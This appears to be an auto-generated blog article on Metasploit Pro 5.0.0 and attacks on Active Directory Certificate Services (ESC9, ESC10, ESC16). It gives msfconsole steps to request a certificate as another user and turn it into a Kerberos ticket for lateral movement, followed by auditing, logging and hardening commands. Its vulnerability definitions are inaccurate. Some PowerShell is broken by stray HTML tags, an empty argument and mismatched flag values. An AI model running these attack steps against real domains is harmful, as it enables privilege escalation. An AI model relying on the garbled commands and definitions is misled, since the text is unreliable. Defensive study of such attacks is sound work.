Metasploit Pro 500 Unleashed: Mastering Active Directory Exploitation & Defense With New AD CS Modules + Video

Introduction

The release of Metasploit Pro 5.0.0 marks a significant leap in red‑teaming capabilities, introducing an intuitive workflow and powerful modules that target Active Directory Certificate Services (AD CS). With cybercriminals increasingly weaponizing certificate‑based attack vectors such as ESC9, ESC10, and ESC16, security teams must now understand both the offensive mechanics and the defensive countermeasures to protect their environments. This article dissects the new AD CS metamodules, provides step‑by‑step exploitation guides, and delivers actionable commands to audit and harden your PKI infrastructure.

Learning Objectives

Understand the new AD CS exploitation modules in Metasploit Pro 5.0.0 and how they automate ESC9, ESC10, and ESC16 attacks.
Learn to simulate these attacks in a lab environment using Metasploit and auxiliary tools.
Implement proactive auditing and monitoring techniques to detect and mitigate AD CS misconfigurations.

You Should Know

1. Metasploit Pro 5.0.0: What’s New?

The latest update introduces a redesigned red‑teaming workflow and a suite of Active Directory‑focused modules. The most impactful addition is the AD CS metamodule, which automates the discovery and exploitation of vulnerable certificate templates—without requiring custom scripts. According to the official release notes (source: lnkd.in/e_5hkjCW), the module includes pre‑check logic that maps targets before execution, reducing noise and helping evade SIEM detection. This positions Metasploit Pro as a formidable C2‑ready platform for both penetration testers and real‑world adversaries.

2. Understanding ESC9, ESC10, and ESC16 Vulnerabilities

These attack vectors exploit misconfigurations in Active Directory Certificate Services:

ESC9 (No Security Extension): A certificate template lacks proper security descriptors, allowing any authenticated user to enroll and obtain a certificate that can be used for domain authentication.
ESC10 (Lack of Manager Approval & Authorized Signatures): The template does not require CA manager approval and permits enrollment by low‑privileged users, leading to privilege escalation.
ESC16 (No CA Certificate Manager Approval): Similar to ESC10, but the vulnerability lies in the CA itself, where any user can request a certificate based on a vulnerable template.

To identify such templates, use the following PowerShell command (requires Active Directory module):

Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties  | 
Where-Object {$<em>.msPKI-Certificate-Name-Flag -band 0x00000040 -and $</em>.msPKI-Enrollment-Flag -band 0x00000002}

This checks for templates with `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` and `CT_FLAG_AUTO_ENROLLMENT` flags—common in ESC9/10 scenarios.

Automating AD CS Exploitation with Metasploit’s New Metamodule
The new metamodule consolidates multiple checks and exploits into a single interface. In msfconsole, load the module:
```
use auxiliary/admin/ldap/ad_cs_esc
show options
```

Set the target domain controller and CA:

set RHOSTS 192.168.1.10
set DOMAIN contoso.local
set CA CONTOSO-CA

Then run the module to automatically detect vulnerable templates and attempt exploitation:

run

The module will output any successfully requested certificates, which can then be used for authentication via Kerberos or SChannel.

4. Step‑by‑Step: Simulating ESC9 Exploitation

Enumerate vulnerable templates using the `ad_cs_enum` auxiliary module:
```
use auxiliary/admin/ldap/ad_cs_enum
set RHOSTS dc.contoso.local
run
```
Note the distinguishedName of any template flagged as vulnerable.

2. Request a certificate using the identified template:

use auxiliary/admin/dcerpc/icpr_cert
set RHOSTS ca.contoso.local
set CA CONTOSO-CA
set TEMPLATE "VulnerableTemplate"
set ALT_USER "[email protected]"
run

This returns a base64‑encoded PFX certificate.

Convert the PFX to usable format and obtain a TGT using Impacket or Rubeus (on Windows). For example, with Impacket:
```
echo "<base64_pfx>" | base64 -d > cert.pfx
python3 gettgtpkinit.py contoso.local/lowpriv -cert-pfx cert.pfx lowpriv.ccache
```
The TGT can then be used for further lateral movement.

5. Defensive Auditing with Built‑in Tools

Proactively audit your CA configuration and templates:

List all templates and their flags using certutil:
```
certutil -v -template > template_audit.txt
```

Check CA security descriptors:

Get-ChildItem Cert:\LocalMachine\CA | ForEach-Object { $<em>.Extensions | Where-Object {$</em>.Oid.Value -eq "2.5.29.32"} }

Enable comprehensive auditing on the CA:
```
certutil -setreg CA\AuditFilter 127
net stop certsvc && net start certsvc
```
This logs every certificate request and issuance (Event IDs 4886, 4887).

6. Monitoring for Suspicious Certificate Activity

Use Windows Event Logs to detect anomalies:

Event ID 4886 – Certificate request received. Look for requests from non‑privileged accounts.
Event ID 4887 – Certificate issued. Flag templates that should never be used by standard users.
Event ID 4898 – Certificate template loaded. Monitor for changes to critical templates.

A simple PowerShell query to find recent ESC9‑style requests:

Get-WinEvent -LogName "Security" -FilterXPath "[System[EventID=4887]]" | 
Where-Object { $_.Message -match "Template:.VulnerableTemplate" }

7. Hardening AD CS Against These Attacks

Apply the principle of least privilege to certificate templates: remove enrollment rights from `Authenticated Users` and Domain Users.
Require CA manager approval for all templates that allow domain authentication.
Enable `EDITF_ATTRIBUTESUBJECTALTNAME2` only when absolutely necessary and monitor its usage.
Regularly run tools like PSPKIAudit or Certify (attack‑side) to validate your security posture.

Example PowerShell to remove a dangerous permission:

$template = Get-ADObject -Identity "CN=MyTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local"
$acl = Get-Acl "AD:\$($template.DistinguishedName)"
$acl.RemoveAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule "NT AUTHORITY\Authenticated Users", "Write", "Allow"))
Set-Acl "AD:\$($template.DistinguishedName)" $acl

What Undercode Say

Key Takeaway 1: The new Metasploit Pro 5.0.0 AD CS modules transform complex certificate attacks into one‑click operations, making it essential for defenders to shift from periodic audits to continuous monitoring and automated validation of their PKI.
Key Takeaway 2: ESC9, ESC10, and ESC16 are no longer theoretical; with tooling now mainstream, every organization using AD CS must treat certificate templates as high‑value assets and enforce strict controls, including mandatory manager approval and template hardening.

The automation of these attacks reduces the skill barrier for adversaries, meaning we will see a rise in certificate‑based privilege escalation in real‑world breaches. Defenders must embrace the same automation—by deploying tools like BloodHound with AD CS support, enabling verbose CA logging, and integrating certificate request anomalies into their SIEM correlation rules. The arms race has moved to the PKI layer.

Prediction

As Metasploit and other C2 frameworks adopt these AD CS modules, ransomware groups will rapidly incorporate certificate‑based escalation into their playbooks, leading to faster domain compromises. This will pressure Microsoft to introduce hardened defaults for AD CS in future Windows Server releases and may spur regulatory requirements for mandatory PKI security assessments. The time to audit your certificate services is now—before the red team (or the adversary) shows you what you missed.

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